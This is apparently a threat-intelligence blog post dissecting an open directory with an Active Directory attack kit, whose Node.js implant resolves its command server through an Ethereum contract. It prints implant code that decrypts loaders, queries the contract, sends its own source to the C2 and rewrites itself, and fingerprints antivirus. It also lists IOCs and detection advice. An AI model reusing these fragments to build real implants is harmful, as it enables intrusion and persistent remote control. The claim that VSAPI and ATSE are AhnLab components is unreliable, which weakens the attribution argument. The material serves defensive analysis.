An open directory was found on a server hosted in Microsoft Azure. It held eight files and, at first glance, looked like an ordinary post-exploitation kit built from SharpHound, WinPMem, and a handful of PowerShell loaders. The implant's C2 address, though, wasn't a domain or an IP. It lived inside an Ethereum smart contract.
A contract's transaction history sits on the blockchain permanently and in public. That made it possible to see more than just the current C2 address: every address written since the contract's creation on June 27, and which account funded the operator. The eighth file in the directory turned out to be a separate story, an unexpected trace left behind while the operator was testing its own toolset.
At a glance
- An open directory on
51.11.247[.]37contained all eight pieces of a full Active Directory attack kit, from reconnaissance to exfiltration. - Four polymorphic PowerShell loaders drop a Node.js implant that reads its C2 address from an Ethereum smart contract (the EtherHiding technique).
- Scanning the contract's full transaction history surfaced 24 distinct C2 domains rotated over seven weeks; 23 of them had never appeared in any public source.
- The operator account was funded 14 hours before the contract was created. The funding account's own history includes use of a no-KYC exchange and one large pass-through transfer.
- The eighth file in the directory, despite its name, has nothing to do with Rust. It's a Windows executable carrying components from AhnLab's V3 antivirus engine.
Discovery
51.11.247[.]37 belongs to Microsoft's Azure infrastructure (AS8075, France region). Only port
443 was open in the scanned range, and it wasn't running a generic service. It was serving a
raw directory listing. The eight files inside covered nearly every stage of an Active Directory
attack chain.
| Address | Role | Open port | Service | Verification |
|---|---|---|---|---|
51.11.247[.]37 |
Staging server | 443/tcp | HTTPS, open directory listing | Confirmed by direct scan |
20.213.88[.]242 |
Fallback C2 (original report) | 443/tcp (assumed) | HTTPS, implant polling | Inferred from implant source, not port-scanned |
| 24 rotation domains | Fallback C2 (current) | 443/tcp (assumed) | HTTPS, polling/reobfuscation/sys-info endpoints | Inferred from implant source |
No independent port scan was run against anything beyond the staging server. Everything known
about the C2 side comes from the implant's own code, which calls https:// throughout.
Being an Azure IP doesn't mean the infrastructure is clean. AS8075 hosts more than 240 malicious hosts tied to known C2 frameworks such as CobaltStrike, Sliver, Havoc, and Mythic. Abuse of cloud infrastructure here isn't an isolated find; it's part of a pattern that keeps growing.

| # | File | Size | Category |
|---|---|---|---|
| 1 | j4ravc8df1dz1jk.ps1 |
62,313 B | Loader (variant) |
| 2 | 3ns6j5bq87bs.ps1 |
56,934 B | Loader (variant) |
| 3 | u9navdx5a2kiu.ps1 |
63,498 B | Loader (variant) |
| 4 | fpv0s3mgas2jas.ps1 |
62,097 B | Loader (variant, added later) |
| 5 | sharphound-v2.14.0.zip |
2,521,104 B | AD recon tool (legitimate) |
| 6 | winpmem_mini_x64_rc2.exe |
527,640 B | Memory dumping tool (legitimate) |
| 7 | azcopy_windows_amd64_10.32.7.zip |
27,231,017 B | Azure data-copy tool (legitimate) |
| 8 | rust-streamer3-windows-x64.exe |
30,390,272 B | See "An unexpected guest" below |
Files 5, 6, and 7 are known, signed, or open-source tools and need no further analysis. The real substance is in the four PowerShell loaders and the second-stage implant they run.
Toolkit Attack Chain
RECON SharpHound → mapping AD structure
CREDENTIAL ACCESS WinPMem → memory dump, credential extraction
LATERAL/PERSISTENCE PS1 loaders → Node.js implant + blockchain C2
EXFILTRATION AzCopy → bulk copy to Azure Blob Storage
All four components in the chain are legitimate tools being reused; the operator wrote none of them from scratch. The only custom code is the PowerShell loaders and the JavaScript implant they run.
Polymorphic loaders
The four PS1 files are variants of the same family and share a three-layer obfuscation scheme. Hex-encoded chunks get concatenated first, then a custom XOR/bit-rotation cipher is applied, and finally, depending on the variant, either that cipher alone or an additional AES-256-CBC layer takes over.
| Variant | Node.js | Encryption | Persistence | Fallback C2 |
|---|---|---|---|---|
j4ravc8df1dz1jk.ps1 |
18.19.0 | XOR-derived key + AES-256-CBC | Scheduled Task + Startup | syncdate.belgiumcentral.cloudapp[.]azure.com |
3ns6j5bq87bs.ps1 |
18.20.0 | Pure XOR/rotation | Registry Run key | synctime.australiaeast.cloudapp[.]azure.com |
u9navdx5a2kiu.ps1 |
18.19.0 | XOR-derived key + AES-256-CBC | Scheduled Task + Startup | synctimes.australiaeast.cloudapp[.]azure.com |
fpv0s3mgas2jas.ps1 |
18.20.0 | XOR-derived key + AES-256-CBC | Scheduled Task (OneDriveSyncMaintenance) + Startup |
timesync.westus2.cloudapp[.]azure.com |
Each copy has a different hash, different function and variable names, and a different encryption key, consistent with a standard polymorphism approach meant to dodge signature-based detection. The fourth variant was added to the directory a few days after the first three, meaning the operation kept being developed even after discovery.
Here's the decryption function from the pure XOR/rotation variant:
function Parse-Key {
param($p1, $p2)
$b1 = [System.Convert]::FromBase64String($p1) # encrypted data
$b2 = [System.Convert]::FromBase64String($p2) # key
$s = 0
for ($j = 0; $j -lt $b2.Length; $j++) { $s = ($s + $b2[$j]) -band 0xFF }
$r = New-Object byte[] $b1.Length
for ($i = 0; $i -lt $b1.Length; $i++) {
$k = $b2[$i % $b2.Length]
$rot = ($k + $i) -band 7
$v = (($b1[$i] -shr $rot) -bor ($b1[$i] -shl (8 - $rot))) -band 0xFF
$r[$i] = $v -bxor $k -bxor $s
$s = ($s + $v + $k + ($i -band 0xFF)) -band 0xFF
}
return [System.Text.Encoding]::UTF8.GetString($r)
}
Seeding $s with the sum of the key bytes before the loop runs is missing from the version
documented in known dead-drop resolver families. It's a small but functional difference,
suggesting the operator adjusted the algorithm to its own needs.
EtherHiding: a C2 address on the blockchain
Decrypting any of the four loaders produces the same second-stage JavaScript implant. Its most interesting part is a resolver that reads the C2 address from an Ethereum smart contract instead of hardcoding it, a technique known in the literature as EtherHiding.
const CONTRACT_ADDRESS = "0xdf64c4d1fa017fc565e6564b117bd6ba8437953f";
const FUNCTION_SELECTOR = "0x7d434425";
async function resolveC2() {
for (const rpc of RPC_ENDPOINTS) { // 7 distinct, fully legitimate RPC services
const response = await fetch(rpc, {
method: "POST",
body: JSON.stringify({
jsonrpc: "2.0", method: "eth_call",
params: [{ to: CONTRACT_ADDRESS, data: FUNCTION_SELECTOR }, "latest"],
id: 1
})
});
const data = await response.json();
if (data.result && data.result !== "0x") return decodeHexString(data.result);
}
return FALLBACK_C2;
}
The idea is simple. Even if a domain or IP gets blocked, a single setString transaction to
the contract points every infected machine at a new C2 address automatically. The resolution
traffic itself rides on fully legitimate RPC services like Flashbots, PublicNode, and Tenderly,
which makes it hard to pick out from ordinary network traffic.
The technique isn't new. Guardio Labs coined the name in late 2023, and it has since turned up repeatedly in North Korea-linked "Contagious Interview" campaigns and in the Node.js-based EtherRAT family (https://www.esentire.com/blog/etherrat-sys-info-module-c2-on-ethereum-etherhiding-target-selection-cdn-like-beacons). Google/Mandiant's tracking of UNC5142 and UNC5342 shows the technique has spread to mid-tier operators as well. The specific contract address and implant in this case, however, had never been documented anywhere before.
Inside the implant: majority voting and self-rewriting
Reading the implant's full source code surfaces two design choices worth calling out. First, it doesn't trust a single RPC for the C2 address. It queries all 7 services in parallel and uses whichever response shows up most often, a resilience layer against any one RPC returning bad or stale data:
const promises = RPC_ENDPOINTS.map(async (rpcUrl) => {
const response = await fetch(rpcUrl, { method: 'POST', body: JSON.stringify({
jsonrpc: '2.0', method: 'eth_call',
params: [{ to: CONTRACT_ADDRESS, data: calldata }, 'latest'], id: 1
})});
const json = await response.json();
if (json.result) results[rpcUrl] = decodeHexString(json.result);
});
await Promise.allSettled(promises);
const counts = {};
Object.values(results).forEach(url => { counts[url] = (counts[url] || 0) + 1; });
return Object.entries(counts).sort((a, b) => b[1] - a[1])[0][0]; // the most frequent answer
Second, and more striking, the implant sends its own source code to the C2 once after installation and overwrites itself on disk with whatever comes back.
const code = fs.readFileSync(scriptPath, 'utf8');
const response = await fetch(`${c2}/api/${buildHash}/${botId}`, {
method: 'POST',
body: JSON.stringify({ code, build: buildId })
});
const newCode = await response.text();
if (newCode && newCode.length > 100) {
fs.writeFileSync(scriptPath, newCode, 'utf8'); // overwrite with whatever the C2 returns
markReobfuscated();
}
Polymorphism, in other words, doesn't end at delivery; the implant can keep mutating under the
C2's control indefinitely. The command channel is just as permissive. Every response from the
C2 runs as an AsyncFunction with full Node.js access, including require, inside a loop that
fires roughly every 500ms, giving the operator near-instant, effectively unrestricted remote
code execution.
Full rotation history: 24 domains over seven weeks
The contract was created on June 27, 2026, and had taken 41 transactions by August 20, 2026, 40
of them valid setString calls writing a C2 address. The contract's full history resolves to a
list of 24 unique domains.
The naming has shifted over time.
| Period | Example domains | Character |
|---|---|---|
| Late June – early July | dns10, unikolasdxx, hygaskilosx |
Random character strings |
| July | azurebackup, update.norwayeast, mlcrosoft.westus* |
IT-infrastructure theme, geographic rotation begins |
| August | synctime, syncdate, timesync, synctimes |
Settled into a consistent "sync" theme |
*mlcrosoft.westus: the "i" in "Microsoft" is swapped for an "l".
Every domain follows the pattern [theme].[Azure region].cloudapp[.]azure.com, spread across
regions from Chile to Norway, South Africa to Australia, East Asia to several US states. A
geographic spread this wide doesn't look hand-managed. It's more likely a script generating a
fresh region/theme combination at each rotation.
Twenty-three of the domains on this list had never surfaced in any public source before; only
the most recently used one, synctime.australiaeast, was already known.
Decoding the contract's full transaction history produces the chain below. The first row is
the contract creation transaction; the remaining 40 are each a setString call.
| # | Time (UTC) | C2 address |
|---|---|---|
| 0 | 2026-06-27 01:46 | (contract creation) |
| 1 | 2026-06-27 01:47 | dns10.centralus.cloudapp[.]azure[.]com |
| 2 | 2026-06-29 15:51 | unikolasdxx.centralus.cloudapp[.]azure[.]com |
| 3 | 2026-06-29 15:52 | unikolasdxx.centralus.cloudapp[.]azure[.]com |
| 4 | 2026-06-29 16:07 | unikolasdxx.centralus.cloudapp[.]azure[.]com |
| 5 | 2026-07-02 15:55 | hygaskilosx.centralus.cloudapp[.]azure[.]com |
| 6 | 2026-07-03 01:57 | azurebackup.chilecentral.cloudapp[.]azure[.]com |
| 7 | 2026-07-03 04:20 | scanazurenetwork.chilecentral.cloudapp[.]azure[.]com |
| 8 | 2026-07-06 07:45 | azurepoinbackup.centralus.cloudapp[.]azure[.]com |
| 9 | 2026-07-09 04:49 | update.norwayeast.cloudapp[.]azure[.]com |
| 10 | 2026-07-09 16:51 | unkiloasdgva.westcentralus.cloudapp[.]azure[.]com |
| 11 | 2026-07-10 08:37 | update.norwayeast.cloudapp[.]azure[.]com |
| 12 | 2026-07-10 08:37 | update.norwayeast.cloudapp[.]azure[.]com |
| 13 | 2026-07-10 08:37 | update.norwayeast.cloudapp[.]azure[.]com |
| 14 | 2026-07-11 23:51 | updates.canadaeast.cloudapp[.]azure[.]com |
| 15 | 2026-07-14 08:32 | winupdate.eastasia.cloudapp[.]azure[.]com |
| 16 | 2026-07-16 16:49 | cureentinstall.canadaeast.cloudapp[.]azure[.]com |
| 17 | 2026-07-17 00:43 | update.norwayeast.cloudapp[.]azure[.]com |
| 18 | 2026-07-17 04:55 | update.northcentralus.cloudapp[.]azure[.]com |
| 19 | 2026-07-17 12:59 | mlcrosoft.westus.cloudapp[.]azure[.]com |
| 20 | 2026-07-20 17:12 | trusted.canadaeast.cloudapp[.]azure[.]com |
| 21 | 2026-07-20 23:24 | mlcrosoft.westus.cloudapp[.]azure[.]com |
| 22 | 2026-07-21 02:33 | timesync.centralus.cloudapp[.]azure[.]com |
| 23 | 2026-07-22 12:57 | trustlink.centralus.cloudapp[.]azure[.]com |
| 24 | 2026-07-22 12:57 | trustlink.centralus.cloudapp[.]azure[.]com |
| 25 | 2026-07-22 19:19 | timesync.centralus.cloudapp[.]azure[.]com |
| 26 | 2026-07-22 19:20 | timesync.centralus.cloudapp[.]azure[.]com |
| 27 | 2026-07-27 11:08 | downloadupdate.centralus.cloudapp[.]azure[.]com |
| 28 | 2026-07-30 16:45 | timesync.centralus.cloudapp[.]azure[.]com |
| 29 | 2026-08-12 17:46 | synctime.australiaeast.cloudapp[.]azure[.]com |
| 30 | 2026-08-16 08:45 | timesync.centralus.cloudapp[.]azure[.]com |
| 31 | 2026-08-16 12:05 | syncdate.belgiumcentral.cloudapp[.]azure[.]com |
| 32 | 2026-08-17 14:24 | allres.southafricanorth.cloudapp[.]azure[.]com |
| 33 | 2026-08-17 17:03 | update.belgiumcentral.cloudapp[.]azure[.]com |
| 34 | 2026-08-17 17:04 | update.belgiumcentral.cloudapp[.]azure[.]com |
| 35 | 2026-08-17 17:05 | update.belgiumcentral.cloudapp[.]azure[.]com |
| 36 | 2026-08-17 17:05 | update.belgiumcentral.cloudapp[.]azure[.]com |
| 37 | 2026-08-17 21:36 | timesync.westus2.cloudapp[.]azure[.]com |
| 38 | 2026-08-17 21:37 | timesync.westus2.cloudapp[.]azure[.]com |
| 39 | 2026-08-18 06:59 | synctimes.australiaeast.cloudapp[.]azure[.]com |
| 40 | 2026-08-20 16:46 | timesync.westus2.cloudapp[.]azure[.]com |
Following the wallet
Ethereum has two kinds of accounts, an EOA (Externally-Owned Account) controlled by a private key, and a Contract Account controlled by its own code and unable to initiate transactions. The C2 contract is a Contract Account. The operator account that writes to it, along with every other address discussed below, is an EOA.
The operator account (0x977928...) received 0.005 ETH from another EOA 14 hours before the
contract was created, consistent with topping up a disposable operational account with gas
money. That funding account's own history shows two notable moves, a 247 ETH (~$625,000)
transaction that changed hands within roughly 100 minutes about 3.5 months before the campaign,
and a small deposit into FixedFloat, a no-KYC crypto swap service. Some caution is warranted
here, because value is fungible on Ethereum, so there's no on-chain proof that these funds came
from the same source that later paid the operator. These observations only describe the funding
account's general behavior.
No outflow to a known exchange was observed from the operator account. Total inbound funding amounted to a few dollars, nearly all of which went to gas fees across the 41 transactions.
An unexpected guest: an antivirus engine
The eighth file in the directory, rust-streamer3-windows-x64.exe, is a 30 MB Windows
executable with nothing to do with Rust despite its name. Its PE header and internal strings
reveal the following:
- PDB path:
...\VSAPI\...\vsapi64\...\atse64_2019.pdb - Internal string constants:
ATSE64.dll,VSAPI,ATSE_deepscan,AtseAggressiveLevel - Version resource:
Copyright (C) 2025 Trend Micro Incorporated
VSAPI and ATSE (AhnLab Trusted Scan Engine) are known internal component names from
AhnLab's (South Korea) V3 antivirus engine. The Trend Micro copyright looks contradictory at
first, but it's already known that some of Trend Micro's multi-engine products embed AhnLab's
ATSE under license. The file itself isn't registered anywhere public, including VirusTotal.
The most likely explanation is that the operator tests its own tooling, the polymorphic loaders in particular, against an AV engine locally before deployment, probably one popular in South Korea. That alone isn't proof of attribution, but it adds moderate-confidence support to the hypothesis of TTP overlap with North Korea-linked Contagious Interview campaigns.
This interest in AV doesn't look like a coincidence. One of the tasks the implant downloads fingerprints whatever antivirus is running on the victim's machine and reports it back to the C2.
if (isWindows) {
const av = execSync(
'powershell -Command "(Get-CimInstance -Namespace root/SecurityCenter2 ' +
'-ClassName AntivirusProduct).displayName -join \', \'"'
).trim();
} else {
const knownAV = ['clamd', 'sophos', 'avast', 'eset', 'kaspersky', 'comodo'];
const found = knownAV.filter(name => runningProcesses.includes(name));
}
The same module deletes itself and stops running if the system language matches Russian, Belarusian, Kazakh, or a few other CIS languages, a pattern that rules out the CIS region and turns up often enough across toolkits of very different origins.
Tactics and techniques
Mapping the full chain against MITRE ATT&CK yields 19 confirmed techniques; the one unconfirmed entry is just an assumed initial-access vector (phishing).
Initial Access
- T1566Phishing
Defense Evasion
Credential Access
- T1003OS Credential Dumping WinPMem
Collection
- T1560Archive Collected Data
Command and Control
Confirmed from analysisSuspected, not confirmed
Detection and defense
| Layer | Recommendation |
|---|---|
| Network | Watch for new sync/time/update/backup/trusted-themed subdomains under *.cloudapp.azure[.]com |
| Endpoint | Look for scheduled tasks named OneDriveSyncMaintenance and MicrosoftEdgeUpdateTask; checking only one name misses the other variant |
| Endpoint | Scan for node.exe instances running from hidden directories under %LOCALAPPDATA% |
| Network | Monitor eth_call JSON-RPC traffic from workstations, especially to the 7 known RPC services |
| General | Enable PowerShell Script Block Logging; a single concatenation expression built from 100+ variables can serve as a behavioral signature for the hex/base64 assembly pattern |
Takeaways
The blockchain side has been quiet since August 20, seven days without a new setString
transaction. The file server, though, was updated at least twice over the same stretch, adding
a new polymorphic loader and a previously unseen executable. The contract address stays fixed
while everything around it (the fallback domain, the build ID, the persistence name) changes
with each new build.
Classic IOC blocking (IP, domain, hash) still works here, but the technique is already primed for its next rotation. At the same time, the same permanence that makes blockchain records public and unchangeable cuts against the operator too. Seven weeks of activity, funding pattern included, could be reconstructed retroactively in full.
IOC list
| Type | Value |
|---|---|
| IPv4 | 51.11.247[.]37 |
| IPv4 | 20.213.88[.]242 |
| Contract | 0xdf64c4d1fa017fc565e6564b117bd6ba8437953f |
| Operator EOA | 0x977928898a80c7228d8c2e80dfa42ff75f746f56 |
| Function selector | 0x7d434425 |
| Sample fallback domain | synctime.australiaeast.cloudapp[.]azure[.]com |
| Scheduled task | OneDriveSyncMaintenance, MicrosoftEdgeUpdateTask |
| Registry persistence | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AppResolver |
| Log file | %APPDATA%\svchost.log |
| Bot ID file | %APPDATA%\.node_bot_id |
File hashes (SHA-256):
| File | SHA-256 |
|---|---|
j4ravc8df1dz1jk.ps1 |
b29d4d4d9f4ada427545f0216ed7c411aef7f9bc9f02605875972a48f451063d |
3ns6j5bq87bs.ps1 |
7b5f46ee51337669c0c2a7a71625e728bc05795e48ed5a973ad57c822bb849ce |
u9navdx5a2kiu.ps1 |
1e7b070eb782f31a5382554f56275e5c19f8de256ab53a1b1ac29d118f004e89 |
fpv0s3mgas2jas.ps1 |
30e3038455fd1aa41f331fc8b75343afbc938abf7baa7781796574232f275037 |
winpmem_mini_x64_rc2.exe (legitimate, listed for reference) |
a4d516b6fcaf3b5b1d4ee709ce86f8eabf1d8028b3a83101479b7568b933d21b |
rust-streamer3-windows-x64.exe |
5f608e1f074e33e71163196d63adb7b14a181958a37e39446ea8e843aa9bda4e |
Build ID and reobfuscation endpoint per variant:
| Variant | Build ID | Reobfuscation endpoint |
|---|---|---|
j4ravc8df1dz1jk.ps1 |
294d3799-a1d5-489e-b98a-eb2b2f400e45 |
/api/61daaed5/{botID} |
3ns6j5bq87bs.ps1 |
7199b58c-31ea-4dab-9005-2a0212cda9dc |
/api/dd60e6bd/{botID} |
u9navdx5a2kiu.ps1 |
201762b5-0961-4ec0-8252-e580bf7e65fe |
/api/b28dbfab/{botID} |
fpv0s3mgas2jas.ps1 |
c580e06d-77c8-4518-9afa-aae0506b5dd0 |
/api/ffecc59d/{botID} |
The SYS_INFO task module uses a separate exfil pattern: {C2}/api/47cc8b0d/{botID}/s.json?token=.
The findings in this post rest on public blockchain data and analysis of files found in a publicly exposed directory. Because blockchain-based C2 addresses can be updated instantly, the addresses listed here were valid at the time of writing.
